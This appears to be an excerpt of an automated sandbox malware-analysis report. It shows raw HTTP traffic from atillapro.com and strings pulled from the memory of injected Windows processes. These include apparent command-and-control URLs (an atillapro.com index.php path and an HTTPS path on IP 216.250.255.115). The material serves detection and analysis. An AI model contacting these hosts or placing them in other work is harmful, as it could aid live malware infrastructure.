f4 42 10 56 ec 33 3e 1f 4a e0 b2 1b 12 46 e3 67 fd a4 64 e6 19 c4 0e 9f 2d 91 d7 3d b5 4a ac 58 89 77 c1 59 82 ca 6a f1 43 50 16 3c 22 65 91 35 06 2b e0 38 9e ec 17 4d 01 fc d3 b1 3a 8d 7a cf 52 3d 1e 3d d9 09 38 1e 50 74 d3 ed 04 56 14 99 05 87 4e dc 28 ac df 22 87 14 18 ef 02 bd 97 f1 c5 58 03 17 2e 1f a3 37 4d a2 2a 95 37 54 b8 d5 e2 25 58 34 57 11 7f 80 1b 16 41 be 1b 15 2f 69 41 96 8c 75 c6 e6 d9 ab 5d 87 3f af 49 d0 b8 f5 51 f9 b4 8f 00 7b 6a 03 c2 44 69 5e 4c a2 28 19 bd d0 2e dd 92 ee 0a 01 dc fb 60 24 2e 76 18 9e c9 05 d1 35 2d 94 ad 83 ae 13 04 78 c9 09 e5 f8 61 2d d1 27 e3 80 5e 01 aa 27 14 82 2a 34 0b f0 73 1a e1 e2 01 23 43 55 8a 87 49 fd 32 c1 86 f3 a9 63 10 ff be b8 b1 ea 98 20 53 53 ae 5e ac f3 34 32 5b ce 28 48 27 42 41 29 4e 77 cb ff fc bd 65 d1 41 26 81 70 15 2d a7 59 73 cb 21 51 aa f7 fe 99 14 6d 69 1f 8d 6f c5 c0 b5 11 0c 89 30 88 13 42 93 b4 a9 05 1b 69 8f 68 4b fd 30 bd 1b c8 dc d0 ed e0 43 74 92 45 bc a1 44 a6 22 7c 34 56 0b b6 5f 93 58 d7 a6 69 34 95 b6 cd 06 5c 2b ac b3 1b 76 2a 5e 38 2a 37 9c 78 97 50 6a c1 2c 79 48 b1 3c 2b c4 e2 90 7b 37 db b3 e8 7a 34 5a f2 e7 d6 02 57 cc e3 68 0f 34 71 6a f1 ec 15 94 be ca 61 9f 3e 18 bd 12 de d8 5b 23 55 45 69 fd fb ea a3 29 1d 7c 02 57 7d 61 34 b1 a4 fa ea 18 25 e2 25 e7 b0 c6 8c ad 37 53 23 21 c0 8a 66 56 9e 29 9f ad 05 a5 d6 9a f6 66 43 19 81 07 71 78 55 b2 e8 74 b7 4c 69 76 69 f6 06 e7 8b c4 aa a5 86 dc 07 7c 4c e4 b2 33 1e 15 5a 19 1e 05 18 03 bb ff 31 ef b3 1d a6 1b 4d 97 43 6f 7c 64 fb ea 65 33 28 6a 0d db 5c 4e ca 3a 69 e1 94 e0 50 a3 23 83 f3 1e 68 74 83 16 c8 36 34 65 39 22 e1 02 bd 70 63 61 09 06 92 82 ac aa 5d d6 cf 0f 2c f7 33 68 3a 56 04 5c f0 d2 f8 10 4f 69 6a b7 8b 45 49 84 7a ad f8 fb 88 82 71 5a 8b 5f 2f db 2b 4a 14 ec 1b db 0a 6f 16 d3 ab a0 a7 17 54 e0 00 c1 56 71 c8 76 25 57 1a fd e1 53 41 ab d0 dd 70 f5 d0 1e e8 e8 35 82 7f 35 d6 40 2c 9f fc f2 3d be 7d 2e 67 d1 bd 30 76 f4 4f 0e 1a ce 1b 6e a0 20 14 90 a2 77 bb 6f 2a 1f b7 b0 17 3a cb 49 69 2c 4a 62 fd 93 27 18 0e 86 db 9c f8 9b 0c ee 06 fd 3c af 6e f6 a1 3b fc 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:01 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 37 63 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 76 00 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 73 1e 5d fe 67 2c 64 e3 ea f3 cd 1e 9e 56 b8 42 12 cb e5 a1 62 14 ec 15 ef 33 63 6d 71 78 53 9e 7b 2e 70 e0 83 4c c1 5f 4a 2b 10 33 2a fe 87 07 5f a0 52 82 77 36 b0 f7 30 5c 24 b9 fc 82 06 d4 00 d6 6a d9 fe f3 72 a8 4c 4c 1a d9 e3 5a 49 df 42 04 9c f6 c4 82 1d 2f dc 6e a9 57 9e 17 e5 c7 08 0e b2 bb 8c ab 86 a8 5f bb 84 f7 ac 51 64 e4 12 56 53 37 bd 7b ab fa 8a 59 38 89 f8 7e e5 7e e3 ec f1 91 23 35 f5 8e 57 94 d8 b0 04 82 ae f2 d6 a2 2c d7 cc eb b1 79 07 39 3e 79 e3 98 65 af 89 ff 40 ba 88 d9 c6 8a 6a 27 39 68 09 2b 84 4c 75 96 c5 dc c6 4f 3c 3d 6c a6 9e d8 9d 57 db 8d 9e ad 11 8b 8b 55 b5 24 84 c7 d0 95 6c 36 7a d7 28 ac 48 09 0c 8a b4 e0 54 66 14 b0 a4 c4 ac 46 a5 82 05 94 ed 41 c3 8f b1 24 41 7c d7 6a f2 95 5d 56 11 9e 61 8c bc d4 cd 02 09 de 44 b5 59 38 d8 25 d2 3d 50 18 2c c1 38 17 c3 6e 4b 02 bc 52 6d 24 35 f5 4f 48 4d ac 43 20 e7 49 e8 41 0b 57 ab 3c 4e e6 cf a7 29 6d 73 02 64 86 b5 bd 34 f3 74 17 40 3b 9c c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 8f 82 8e 9b c7 75 77 c4 7d 27 dd 77 d4 e3 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 89 80 b3 9b cd 5e 26 40 df d6 59 ed 5c c9 8b 7d 1f bd 35 dd 5c d0 32 fe 5d 3b 37 f0 89 3f eb 0c c0 73 fd a0 7c bc 94 79 f9 e8 6e eb a5 ba bf fe aa 2e 47 1f 85 f9 b7 92 e3 08 3d ee fa 49 ef d4 ad 12 6a 19 f9 37 34 59 94 14 eb b5 34 26 e4 70 ea 54 d7 c0 86 cd b3 b6 1c 6b c8 16 e6 07 0e d5 b1 ec b1 62 a2 c4 be c9 43 79 b1 cb 41 be b4 71 a5 26 dd 56 9f 5c 45 fa 6f d2 51 86 3a d2 1b be dd 7c 8b e0 3f 8d b4 5f fd 21 87 ff cb 91 cb e7 ea db 21 55 85 9d 4f 33 8a a7 b7 94 28 9a 9a b7 41 f7 a8 0c dc 5e 5c fd 9a 78 75 87 d0 da 0a b7 1f 43 5a 04 fd db 4b 34 c7 28 e6 37 62 d2 20 15 de 0b 3e d1 f3 e9 55 32 7b 1f 2e cc 8b 0e 5e c5 2f 72 c0 7c bb 4b 47 c2 b1 9f 22 ca f2 54 22 00 66 53 68 a0 ed 4e 0e 3b 40 30 16 2a 61 7c 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 fb d4 d5 1c e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:01 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:02 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 36 64 32 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 86 01 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 66 cf dc f6 72 fd e5 eb ff 22 4c 16 8b 87 39 4a 33 6d 63 a8 7b c5 6d 1d 22 96 e9 64 fb a9 d2 96 5a 88 ff e9 8e 9d 40 57 49 98 c8 3a 20 2f 06 0f 9f 1c d1 8b fc e7 31 ff d7 26 cd b0 9e 53 87 dc 4e 6f ea d0 f8 22 f3 a0 7e 5b e6 d1 27 8b c8 d7 eb 7d 6c ff d1 53 9c 27 26 4c a5 b4 8a c6 64 cf a0 45 20 31 be 8e 16 23 0d d2 e7 9f 9f 74 f4 6f 12 56 53 37 bd 7b ab fa da 1c 38 89 b4 7f e3 7e bd 97 ae f5 23 35 f5 8e 07 d1 d8 b0 a8 83 a9 f3 93 42 6b b2 cc b1 b3 79 07 27 3b 79 03 98 66 ae d0 99 4c a2 88 e3 c3 8a 6a ef 3a 68 09 2b c4 4c 2e 95 c7 dc c6 5d 3c 3d 68 e6 9b d8 9d 57 9b 8d 9a bd 11 8b 8b 57 b5 24 82 77 d8 95 6c 32 7a d7 2e ac 48 09 0e 8a b4 e0 54 76 03 b0 a4 d0 ac 46 a5 82 15 94 ef 51 83 0e b1 24 51 7c c7 7a f2 95 5d 56 01 9e 61 9c bc d4 31 70 01 de f4 b5 59 38 d8 b5 da 3d 50 1c 2c c1 54 5c c5 6e ff 02 bc 52 6d 94 33 f5 af 49 4d ac 43 80 ef 49 78 43 0b 57 ab 3c 4e e6 cf a7 29 6d 73 c2 62 86 bd f2 34 f3 54 c2 45 3b a4 c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 73 57 8b 9b df 75 77 c4 25 82 db 77 a8 e1 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 c9 85 b3 93 ce 5e 26 40 df d6 59 ed 5c c9 8b 53 6b d8 4d a9 5c d0 32 12 05 39 37 f0 99 3f eb 22 ee 14 85 d4 78 bc 94 b3 d1 ed 6e eb b5 ba bf fe 80 2b 47 3f 81 f9 d7 bc 97 6d 45 9a 98 3a 9c d4 ad 13 6a 39 89 35 54 77 e6 70 8a c1 55 26 e4 8e f6 55 d7 c0 c6 c8 b3 b6 02 6a c8 96 c8 02 ee fb c3 88 d0 16 c3 c4 be 81 4e 7c b1 8b 31 bd f4 5f cf 42 a9 37 c1 5e 45 0e 29 d2 51 86 5a d4 1b be e9 7c 8b a0 73 8b f4 71 99 40 f3 9e cb 91 cb a3 ea db 21 15 05 95 8f 1d fa d4 c5 f7 44 9d 9a 57 40 f7 a8 0c 6c 58 5c fd 98 78 75 c7 50 dc ca 99 6d 30 28 67 fd db 4b 34 c3 28 e6 77 f2 da 60 3b a8 6e 52 be fe ee 55 3a 34 1f 2e cc 4b 08 5e c5 7f 72 c0 3c 39 4d 07 ec c3 fa 4e a5 91 54 22 dc 6e 53 68 e0 4d 46 4c 3b 4a 30 16 2a 13 7b 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 bb d4 d5 5e e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:02 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:10 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: explorer.exe, 00000014.00000002.2325478380.0000000000D18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://atillapro.com/
Source: explorer.exe, 00000014.00000002.2325478380.0000000000D18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://atillapro.com/Mozilla/5.0
Source: rundll32.exe, 00000019.00000002.2411494217.000002281527F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://atillapro.com/vsdjcn3khS/index.php?wal=1
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 0000000C.00000000.2081853581.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2081289450.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2083866838.0000000009B60000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C964000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: dialer.exe, 00000001.00000002.1768797015.00000000055C7000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1767308212.000000000513F000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000002.1767661460.0000000002B0C000.00000004.00000010.00020000.00000000.sdmp, OpenWith.exe, OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879064718.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1878522581.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964068733.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856239118.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854556321.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855629748.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861905023.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1859135390.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977684656.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864009305.000002427DB4B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030715584.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880164060.000002427DB48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7s
Source: OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879064718.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1878522581.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964068733.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856239118.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854556321.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855629748.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861905023.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1859135390.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977684656.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864009305.000002427DB4B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030715584.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880164060.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1885103318.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854808225.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1860020445.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856557665.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7sQ=j
Source: dialer.exe, 00000001.00000002.1768797015.00000000055C7000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1767308212.000000000513F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp String found in binary or memory: https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7skernelbasentdllkernel32GetProcessMitigationPo
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C893000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2078592967.0000000003700000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000C.00000000.2082917976.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
